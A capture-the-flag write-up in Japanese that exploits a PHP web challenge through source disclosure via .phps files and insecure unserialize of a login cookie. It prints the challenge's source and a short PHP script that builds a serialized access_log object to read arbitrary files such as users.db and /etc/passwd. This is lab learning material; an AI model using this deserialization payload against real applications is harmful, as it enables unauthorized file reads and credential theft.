調査
普通のログイン画面。
特に何もないな…
こういう時はrobots.txt
だな。
User-agent: * Disallow: /admin.phps
/admin.phps
へアクセスしてみると404。
そもそも何なんだろう。
PHPを利用するためのApacheの設定 | XAMPPの使い方
なんかOfficialなドキュメントを見つけられなかったが、ソースファイルっぽい。
/index.phps
としてみると、ソースコードが得られた。
ソースコードを見てみよう
require_once("cookie.php"); if(isset($_POST["user"]) && isset($_POST["pass"])){ $con = new SQLite3("../users.db"); $username = $_POST["user"]; $password = $_POST["pass"]; $perm_res = new permissions($username, $password); if ($perm_res->is_guest() || $perm_res->is_admin()) { setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/"); header("Location: authentication.php"); die(); } else { $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>'; } }
んー、dbを直接見るのは難しそうだな…
is_guestか…
/authentication.php
を見てみると、Welcome guestと言われる。
phpsにしてみるとソースコードが得られる。
<?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?> <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center"><?php echo $msg; ?></h5> <form action="index.php" method="get"> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button> </form> </div> </div> </div> </div> </div> </body> </html>
/access.log
へアクセスしてみるが特に何もない。
んー、と思ったが、cookie.phpsも見ることができた。
<?php session_start(); class permissions { public $username; public $password; function __construct($u, $p) { $this->username = $u; $this->password = $p; } function __toString() { return $u.$p; } function is_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] != 1) { $guest = true; } } return $guest; } function is_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] == 1) { $admin = true; } } return $admin; } } if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ?>
PHP Deserializationか
Deserializationなのは分かるが、それでどうするかを考えてみる。
色々なクラスが用意されている。
ログインできても特に気になるものがないので、LFIかRCEかを探してみる。
取ってつけたようなaccess_logクラスにLFIできそうな所があり、ちょうどtoStringすることで内容が取り出せる。
toStringされそうな所を探してみると、
if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } }
ここだな。loginでaccess_logのやつ入れて、/authorization.php
で出してみる。
<?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } $al = new access_log("../users.db"); echo urlencode(base64_encode(serialize($al)));
これでdbの中身が見られた。
気になるものはない。
/etc/passwd
を見てみると、全部の問題が1つのサーバにまとまっているような雰囲気の内容になっている。
おお。
なんもないぞ…
Hintを見てみる
HINT1: The flag is at ../flag
ok.